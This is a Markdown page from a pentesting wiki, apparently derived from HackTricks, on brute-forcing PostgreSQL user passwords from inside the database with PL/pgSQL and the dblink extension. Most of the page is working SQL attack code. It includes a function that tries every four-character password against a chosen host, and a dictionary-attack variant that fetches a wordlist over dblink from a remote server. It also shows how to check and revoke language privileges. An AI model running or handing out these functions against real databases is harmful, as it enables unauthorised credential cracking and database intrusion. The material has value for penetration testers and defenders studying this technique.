pl-pgsql-password-bruteforce.md (5377B)
1 --- 2 title: "PL/pgSQL Password Bruteforce" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # PL/pgSQL Password Bruteforce 14 15 **Find [more information about these attack in the original paper](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**.<sup>[[1]](#references)</sup> 16 17 PL/pgSQL is PostgreSQL's procedural SQL language and supports variables, control structures, errors, and functions invoked from SQL or triggers.<sup>[[2]](#references)</sup> 18 19 You can abuse this language in order to ask PostgreSQL to brute-force the users credentials, but it must exist on the database. You can verify it's existence using: 20 21 ```sql 22 SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'; 23 lanname | lanacl 24 ---------+--------- 25 plpgsql | 26 ``` 27 28 PL/pgSQL is installed by default and `PUBLIC` normally has `USAGE` on the language, but creating a function also requires `CREATE` on the target schema. PostgreSQL 15 and later no longer grant every user `CREATE` on the `public` schema in newly created databases, so verify both language and schema ACLs.<sup>[[2]](#references)[[3]](#references)</sup> 29 30 ```sql 31 REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC; 32 ``` 33 34 In that case, our previous query would output different results: 35 36 ```sql 37 SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'; 38 lanname | lanacl 39 ---------+----------------- 40 plpgsql | {admin=U/admin} 41 ``` 42 43 Note that for the following script to work **the function `dblink` needs to exist**. If it doesn't you could try to create it with 44 45 ```sql 46 CREATE EXTENSION dblink; 47 ``` 48 49 ## Password Brute Force 50 51 Here how you could perform a 4 chars password bruteforce:<sup>[[1]](#references)</sup> 52 53 ```sql 54 //Create the brute-force function 55 CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT, 56 username TEXT, dbname TEXT) RETURNS TEXT AS 57 $$ 58 DECLARE 59 word TEXT; 60 BEGIN 61 FOR a IN 65..122 LOOP 62 FOR b IN 65..122 LOOP 63 FOR c IN 65..122 LOOP 64 FOR d IN 65..122 LOOP 65 BEGIN 66 word := chr(a) || chr(b) || chr(c) || chr(d); 67 PERFORM(SELECT * FROM dblink(' host=' || host || 68 ' port=' || port || 69 ' dbname=' || dbname || 70 ' user=' || username || 71 ' password=' || word, 72 'SELECT 1') 73 RETURNS (i INT)); 74 RETURN word; 75 EXCEPTION 76 WHEN sqlclient_unable_to_establish_sqlconnection 77 THEN 78 -- do nothing 79 END; 80 END LOOP; 81 END LOOP; 82 END LOOP; 83 END LOOP; 84 RETURN NULL; 85 END; 86 $$ LANGUAGE 'plpgsql'; 87 88 //Call the function 89 select brute_force('127.0.0.1', '5432', 'postgres', 'postgres'); 90 ``` 91 92 _Note that even brute-forcing 4 characters may take several minutes._ 93 94 You could also **download a wordlist** and try only those passwords (dictionary attack): 95 96 ```sql 97 //Create the function 98 CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT, 99 username TEXT, dbname TEXT) RETURNS TEXT AS 100 $$ 101 BEGIN 102 FOR word IN (SELECT word FROM dblink('host=1.2.3.4 103 user=name 104 password=qwerty 105 dbname=wordlists', 106 'SELECT word FROM wordlist') 107 RETURNS (word TEXT)) LOOP 108 BEGIN 109 PERFORM(SELECT * FROM dblink(' host=' || host || 110 ' port=' || port || 111 ' dbname=' || dbname || 112 ' user=' || username || 113 ' password=' || word, 114 'SELECT 1') 115 RETURNS (i INT)); 116 RETURN word; 117 118 EXCEPTION 119 WHEN sqlclient_unable_to_establish_sqlconnection THEN 120 -- do nothing 121 END; 122 END LOOP; 123 RETURN NULL; 124 END; 125 $$ LANGUAGE 'plpgsql' 126 127 -- Call the function 128 select brute_force('127.0.0.1', '5432', 'postgres', 'postgres'); 129 ``` 130 131 ## References 132 133 - [1] [Having Fun With PostgreSQL](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt) 134 - [2] [PostgreSQL documentation — PL/pgSQL overview](https://www.postgresql.org/docs/current/plpgsql-overview.html) 135 - [3] [PostgreSQL documentation — Schemas and privileges](https://www.postgresql.org/docs/current/ddl-schemas.html)